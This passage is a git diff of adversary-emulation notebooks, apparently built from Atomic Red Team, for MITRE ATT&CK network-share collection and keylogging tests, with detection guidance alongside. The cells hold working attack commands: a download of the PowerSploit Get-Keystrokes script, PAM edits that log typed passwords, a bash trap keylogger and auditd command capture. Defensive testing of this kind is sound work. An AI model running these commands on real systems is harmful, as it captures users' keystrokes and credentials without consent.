\"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "68a702bc", + "id": "ad235431", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1039 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "dde24aff", + "id": "fbf4fc15", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "9d21c1f8", + "id": "ca19259a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1039 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "03e76205", + "id": "7d84598a", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel \\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\ndel %TEMP%\\Easter_egg.password```" }, { "cell_type": "code", "execution_count": null, - "id": "f840a19d", + "id": "0e9b237a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1039 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "34558712", + "id": "f90f4f75", "metadata": {}, - "source": "### Atomic Test #2 - Copy a sensitive File over Administive share with Powershell\nCopy from sensitive File from the c$ of another LAN computer with powershell\nhttps://twitter.com/SBousseaden/status/1211636381086339073\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Administrative share must exist on #{remote}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"\\\\127.0.0.1\\C$\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host 'Please Enable \"C$\" share on 127.0.0.1'\n\n```\n##### Description: \"\\\\#{remote}\\C$\\#{share_file}\" must exist on #{remote}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nOut-File -FilePath \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\"\n\n```" + "source": "### Atomic Test #2 - Copy a sensitive File over Administrative share with Powershell\nCopy from sensitive File from the c$ of another LAN computer with powershell\nhttps://twitter.com/SBousseaden/status/1211636381086339073\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Administrative share must exist on #{remote}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"\\\\127.0.0.1\\C$\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nWrite-Host 'Please Enable \"C$\" share on 127.0.0.1'\n\n```\n##### Description: \"\\\\#{remote}\\C$\\#{share_file}\" must exist on #{remote}\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nOut-File -FilePath \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "5216dadd", + "id": "c642438d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1039 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "cc86201c", + "id": "4b11794c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -83,34 +83,34 @@ { "cell_type": "code", "execution_count": null, - "id": "db8a458a", + "id": "274d4c8d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1039 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "027f8f86", + "id": "f246382f", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path \"\\\\127.0.0.1\\C$\\Windows\\temp\\Easter_Bunny.password\"\nRemove-Item -Path \"$Env:TEMP\\Easter_egg.password\"```" }, { "cell_type": "code", "execution_count": null, - "id": "d63f04fb", + "id": "1661c259", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1039 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "ffd3b835", + "id": "1a1b4554", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001)." }, { "cell_type": "markdown", - "id": "08979692", + "id": "83294e37", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can stage a variety of pocket litter files on an attached storage space. This data may include topics that align to a persona, topics an adversary is interested in, etc.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -118,13 +118,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1056.001.ipynb b/playbook/tactics/collection/T1056.001.ipynb index 44e30960..1ad58e75 100644 --- a/playbook/tactics/collection/T1056.001.ipynb +++ b/playbook/tactics/collection/T1056.001.ipynb @@ -2,123 +2,123 @@ "cells": [ { "cell_type": "markdown", - "id": "1513d7c7", + "id": "10b39057", "metadata": {}, - "source": "# T1056.001 - Keylogging\nAdversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) " + "source": "# T1056.001 - Keylogging\nAdversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems.(Citation: Talos Kimsuky Nov 2021)\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes.(Citation: Adventures of a Keystroke) Some methods include:\n\n* Hooking API callbacks used for processing keystrokes. Unlike [Credential API Hooking](https://attack.mitre.org/techniques/T1056/004), this focuses solely on API functions intended for processing keystroke data.\n* Reading raw keystroke data from the hardware buffer.\n* Windows Registry modifications.\n* Custom drivers.\n* [Modify System Image](https://attack.mitre.org/techniques/T1601) may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device Attacks) " }, { "cell_type": "markdown", - "id": "a94b44aa", + "id": "39f9fa34", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "ea10d680", + "id": "b15d9687", "metadata": {}, - "source": "### Atomic Test #1 - Input Capture\nUtilize PowerShell and external resource to capture keystrokes\n[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)\nProvided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)\n\nUpon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 \n\n```" + "source": "### Atomic Test #1 - Input Capture\nUtilize PowerShell and external resource to capture keystrokes\n[Payload](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1056.001/src/Get-Keystrokes.ps1)\nProvided by [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-Keystrokes.ps1)\n\nUpon successful execution, Powershell will execute `Get-Keystrokes.ps1` and output to key.log.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Get-Keystrokes PowerShell script must exist on disk at PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -ItemType Directory (Split-Path \"PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\") -Force | Out-Null\nInvoke-WebRequest https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1056.001/src/Get-Keystrokes.ps1 -OutFile \"PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "4b6c9f9f", + "id": "b35da80a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4c84d9b7", + "id": "6b48d201", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1 -LogPath $env:TEMP\\key.log\n```" + "```powershell\n&\"$PathToAtomicsFolder\\T1056.001\\src\\Get-Keystrokes.ps1\" -LogPath $env:TEMP\\key.log\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d7507aa5", + "id": "eb16744f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "769a789e", + "id": "92706fa2", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\key.log -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "da56a4ec", + "id": "ff7463d9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "7b1bdc2f", + "id": "d4be2964", "metadata": {}, "source": "### Atomic Test #2 - Living off the land Terminal Input Capture on Linux with pam.d\nPluggable Access Module, which is present on all modern Linux systems, generally contains a library called pam_tty_audit.so which logs all keystrokes for the selected users and sends it to audit.log. All terminal activity on any new logins would then be archived and readable by an adversary with elevated privledges.\n\nPasswords hidden by the console can also be logged, with 'log_passwd' as in this example. If root logging is enabled, then output from any process which is later started by root is also logged, even if this policy is carefully enabled (e.g. 'disable=*' as the initial command).\n\nUse 'aureport --tty' or other audit.d reading tools to read the log output, which is binary. Mac OS does not currently contain the pam_tty_audit.so library. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Checking if pam_tty_audit.so is installed\n\n##### Check Prereq Commands:\n```sh\ntest -f '/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'\n\n```\n##### Get Prereq Commands:\n```sh\necho \"Sorry, you must install module pam_tty_audit.so and recompile, for this test to work\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b4038e5b", + "id": "25406807", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "13845f58", + "id": "2ff95615", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nif sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi; if sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi; sudo touch /tmp/password-auth.bk sudo touch /tmp/system-auth.bk sudo echo \"session required pam_tty_audit.so enable=* log_password\" >> /etc/pam.d/password-auth sudo echo \"session required pam_tty_audit.so enable=* log_password\" >> /etc/pam.d/system-auth```" + "```sh\nif sudo test -f /etc/pam.d/password-auth; then sudo cp /etc/pam.d/password-auth /tmp/password-auth.bk; fi;\nif sudo test -f /etc/pam.d/system-auth; then sudo cp /etc/pam.d/system-auth /tmp/system-auth.bk; fi;\nsudo touch /tmp/password-auth.bk\nsudo touch /tmp/system-auth.bk sudo echo \"session required pam_tty_audit.so\nenable=* log_password\" >> /etc/pam.d/password-auth sudo echo \"session required pam_tty_audit.so\nenable=* log_password\" >> /etc/pam.d/system-auth\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "e1ac709c", + "id": "a7023491", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "dbb9b30a", + "id": "eac1d38d", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo cp -f /tmp/password-auth.bk /etc/pam.d/password-auth\nsudo cp -f /tmp/system-auth.bk /etc/pam.d/system-auth\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d247e4df", + "id": "b6b48298", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "8b4e3ea7", + "id": "76b3ad5d", "metadata": {}, "source": "### Atomic Test #3 - Logging bash history to syslog\nThere are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell and that logger and tee are installed.\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(echo $SHELL)\" != \"/bin/bash\" ]; then echo -e \"\\n***** Bash not running! *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v logger)\" ]; then echo -e \"\\n***** logger NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v tee)\" ]; then echo -e \"\\n***** tee NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1823ded5", + "id": "627e884a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "20c48d48", + "id": "72212566", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -128,177 +128,222 @@ { "cell_type": "code", "execution_count": null, - "id": "476f03cd", + "id": "d8f5996d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "ba56adbe", + "id": "b97753ce", "metadata": {}, "source": "#### Cleanup: \n```sh\nunset PROMPT_COMMAND\n```" }, { "cell_type": "code", "execution_count": null, - "id": "537a86b8", + "id": "f551361b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "1b651ffd", + "id": "a4779ae2", "metadata": {}, - "source": "### Atomic Test #4 - Bash session based keylogger\nWhen a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(echo $SHELL)\" != \"/bin/bash\" ]; then echo -e \"\\n***** Bash not running! *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #4 - Logging sh history to syslog/messages\nThere are several variables that can be set to control the appearance of the bash command prompt: PS1, PS2, PS3, PS4 and PROMPT_COMMAND. The contents of these variables are executed as if they had been typed on the command line. The PROMPT_COMMAND variable \"if set\" will be executed before the PS1 variable and can be configured to write the latest \"bash history\" entries to the syslog.\n\nTo gain persistence the command could be added to the users .shrc or .profile \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell and that logger and tee are installed.\n\n##### Check Prereq Commands:\n```sh\nif [ \"$(echo $SHELL)\" != \"/bin/sh\" ]; then echo -e \"\\n***** sh not running! *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v logger)\" ]; then echo -e \"\\n***** logger NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "15ac9e57", + "id": "06a0fb28", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d1ac7443", + "id": "0454c88d", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\ntrap 'echo \"$(date +\"%d/%m/%y %H:%M:%S.%s\") $USER $BASH_COMMAND\" >> /tmp/.keyboard.log' DEBUG\necho \"Hello World!\"\ncat /tmp/.keyboard.log\n```" + "```sh\nPS2=`logger -t \"$USER\" -f ~/.sh_history`\n$PS2\ntail /var/log/messages\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "30da9c0a", + "id": "aed7b302", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "77f24c9f", + "id": "3c843388", "metadata": {}, - "source": "#### Cleanup: \n```sh\nrm /tmp/.keyboard.log\n```" + "source": "#### Cleanup: \n```sh\nunset PS2\n```" }, { "cell_type": "code", "execution_count": null, - "id": "468633cf", + "id": "bc6f0592", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "e3e4a47a", + "id": "123418f6", "metadata": {}, - "source": "### Atomic Test #5 - SSHD PAM keylogger\nLinux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sshd)\" ]; then echo -e \"\\n***** sshd NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #5 - Bash session based keylogger\nWhen a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires to be run in a bash shell\n\n##### Check Prereq Commands:\n```bash\nif [ \"$(echo $0)\" != \"bash\" ]; then echo -e \"\\n***** Bash not running! *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3a6ed0e1", + "id": "53bc38a2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "eac51846", + "id": "16b4d949", "metadata": {}, "source": [ - "#### Attack Commands: Run with `sh`\n", - "```sh\ncp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh ubuntu@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n```" + "#### Attack Commands: Run with `bash`\n", + "```bash\ntrap 'echo \"$(date +\"%d/%m/%y %H:%M:%S.%s\") $USER $BASH_COMMAND\" >> /tmp/.keyboard.log' DEBUG\necho \"Hello World!\"\ncat /tmp/.keyboard.log\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "b0aa395f", + "id": "2ccdb9cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "720867b3", + "id": "f68ceed7", "metadata": {}, - "source": "#### Cleanup: \n```sh\ncp -fv /tmp/sshd /etc/pam.d/\n```" + "source": "#### Cleanup: \n```bash\nrm /tmp/.keyboard.log\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b5452b8f", + "id": "1672a266", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "e00b7627", + "id": "64ae1bf7", "metadata": {}, - "source": "### Atomic Test #6 - Auditd keylogger\nThe linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" + "source": "### Atomic Test #6 - SSHD PAM keylogger\nLinux PAM (Pluggable Authentication Modules) is used in sshd authentication. The Linux audit tool auditd can use the pam_tty_audit module to enable auditing of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes.\n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v sshd)\" ]; then echo -e \"\\n***** sshd NOT installed *****\\n\"; exit 1; fi\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c72c7051", + "id": "a7462654", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "118a85f5", + "id": "7184a97b", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nauditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start $(date +\"%d/%m/%y %H:%M:%S\") \n```" + "```sh\ncp -v /etc/pam.d/sshd /tmp/\necho \"session required pam_tty_audit.so disable=* enable=* open_only log_passwd\" >> /etc/pam.d/sshd\nsystemctl restart sshd\nsystemctl restart auditd\nssh ubuntu@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "2a8690d0", + "id": "bbb9e2c5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "399833a4", + "id": "02e0f73f", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsystemctl restart auditd\n```" + "source": "#### Cleanup: \n```sh\ncp -fv /tmp/sshd /etc/pam.d/\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7b3cb891", + "id": "e284214d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "d27cb166", + "id": "53131c8d", "metadata": {}, - "source": "### Atomic Test #7 - MacOS Swift Keylogger\nUtilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.\nInput Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.\nReferece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.\n\n##### Check Prereq Commands:\n```bash\nif [ -f PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift ]; then chmod +x PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"\"\n\n```" + "source": "### Atomic Test #7 - Auditd keylogger\nThe linux audit tool auditd can be used to capture 32 and 64 bit command execution and place the command in the /var/log/audit/audit.log audit log. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: This test requires sshd and auditd\n\n##### Check Prereq Commands:\n```sh\nif [ ! -x \"$(command -v auditd)\" ]; then echo -e \"\\n***** auditd NOT installed *****\\n\"; exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\necho \"\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f40abe8a", + "id": "26381e1a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d169fb82", + "id": "c6564630", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `sh`\n", + "```sh\nauditctl -a always,exit -F arch=b64 -S execve -k CMDS \nauditctl -a always,exit -F arch=b32 -S execve -k CMDS\nwhoami; ausearch -i --start $(date +\"%d/%m/%y %H:%M:%S\") \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6bf8cd3a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "609c1da5", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsystemctl restart auditd\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "556a4625", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "f4d8d4b4", + "metadata": {}, + "source": "### Atomic Test #8 - MacOS Swift Keylogger\nUtilizes a swift script to log keys to sout. It runs for 5 seconds then dumps the output to standard. Input Monitoring is required.\nInput Monitoring can be enabled in System Preferences > Security & Privacy > Privacy > Input Monitoring.\nReferece: https://cedowens.medium.com/taking-esf-for-a-nother-spin-6e1e6acd1b74\n\n**Supported Platforms:** macos\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: swift script must exist at #{swift_src}, and the terminal must have input monitoring permissions.\n\n##### Check Prereq Commands:\n```bash\nif [ -f PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift ]; then chmod +x PathToAtomicsFolder/T1056.001/src/MacOSKeylogger.swift; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```bash\necho \"\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "01f427df", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 8 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d448d19a", "metadata": {}, "source": [ "#### Attack Commands: Run with `bash`\n", @@ -308,28 +353,28 @@ { "cell_type": "code", "execution_count": null, - "id": "f9bbfb87", + "id": "ff44b454", "metadata": {}, "outputs": [], - "source": "Invoke-AtomicTest T1056.001 -TestNumbers 7" + "source": "Invoke-AtomicTest T1056.001 -TestNumbers 8" }, { "cell_type": "markdown", - "id": "dd4a584f", + "id": "4eec8b5d", "metadata": {}, "source": 